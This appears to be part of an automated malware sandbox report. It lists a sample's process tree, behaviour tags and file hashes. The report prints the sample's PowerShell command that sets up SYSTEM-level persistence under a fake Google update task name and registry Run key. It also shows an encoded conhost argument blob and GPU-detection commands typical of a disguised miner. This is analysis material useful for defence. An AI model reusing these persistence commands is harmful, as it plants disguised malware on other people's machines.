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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4568
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1396
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3108
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:184
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2336
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3948 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4872
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:1828
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe1⤵PID:5032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵PID:2736
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
200KB
MD52676f63a2ab21398bb0f572b8c462671
SHA10f59d1de4758c1b576417a030c45ab6cfcfcfef5
SHA2564ff5adc528c62972a037963aa022a19c8a97304b0b6d58c6c72e14fc595ea5f0
SHA5120035f6378c5535176d7683b570eeb2f14c92a181ced6048cac9776c3a9789cef5f37b48bcc2532abcd1d096fc6a8eab7e8a0640355c507cef38e98a24131447e
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Filesize
235KB
MD57a9f0f6be3046a71953cf37cf270cc96
SHA1bfd444fbacc73c2437e5ac8022eeb75c61b0ed52
SHA2563ad002218cba2b2c084c0ba2a09906bd4844d54308a1f6643c7b1a3baedf8258
SHA5121b80603d91b680f5eb08d698b595f171b84aa1fcca330ff13ac67cad6f5bb8734b2775f77ea021e3b50f38580ea9ba7929fab5a3611cf08f255377ca706de6db
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
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Filesize
1KB
MD504dab1e7226930c3346286e214d84945
SHA186718b6314c8e64616e9694736da495d3e2ae4be
SHA2560fe043e925e73fa82b319b13b93bf563834e56d520a3c793c78655c8988b439d
SHA51298e153baebbac0d5d20468e6abe70bb5dd7723bc5a03ae6164cb48e4921e2fb910cfb36bdb63c0ca18746bc9839d50cc353d092f98ac50739c108b35b3fe78a0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5